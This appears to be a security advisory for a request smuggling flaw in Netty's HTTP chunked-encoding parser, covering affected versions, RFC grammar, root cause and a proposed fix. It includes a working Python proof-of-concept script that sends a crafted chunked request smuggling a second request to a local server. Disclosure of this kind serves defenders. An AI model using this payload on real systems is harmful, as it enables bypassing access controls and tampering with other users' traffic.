| Package | Affected versions | Patched versions |
|---|---|---|
| io.netty:netty-codec-http | ≥ 4.2.0.Alpha1, < 4.2.10.Final< 4.1.132.Final | 4.2.10.Final4.1.132.Final |
| netty | ≥ 4.2.0, < 4.2.10< 4.1.132 | 4.2.104.1.132 |
Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.
This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:
The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.
RFC 9110 Section 7.1.1 defines chunked transfer encoding:
chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string
RFC 9110 Section 5.6.4 defines quoted-string:
quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE
Critically, the allowed character ranges within a quoted-string are:
qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )
CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).
Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.
Expected behavior (RFC-compliant): A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.
Actual behavior (Netty):
Chunk: 1;a="value
^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request
The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free#!/usr/bin/env python3
import socket
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Transfer-Encoding: chunked\r\n"
b"\r\n"
b'1;a="\r\n'
b"X\r\n"
b"0\r\n"
b"\r\n"
b"GET /smuggled HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Content-Length: 11\r\n"
b"\r\n"
b'"\r\n'
b"Y\r\n"
b"0\r\n"
b"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)
response = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
break
sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))
Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.
| Parser | Request 1 | Request 2 |
|---|---|---|
| Netty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED) |
| RFC-compliant parser | 400 Bad Request | (none — malformed request rejected) |
The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:
1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
a. For each byte before the terminating CRLF:
- If CR (%x0D) or LF (%x0A) is encountered outside the
final terminating CRLF, reject the request with 400 Bad Request.
b. If the extension value begins with DQUOTE, validate that all
enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
outside any quoted-string context and contains no preceding
illegal bytes.
Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.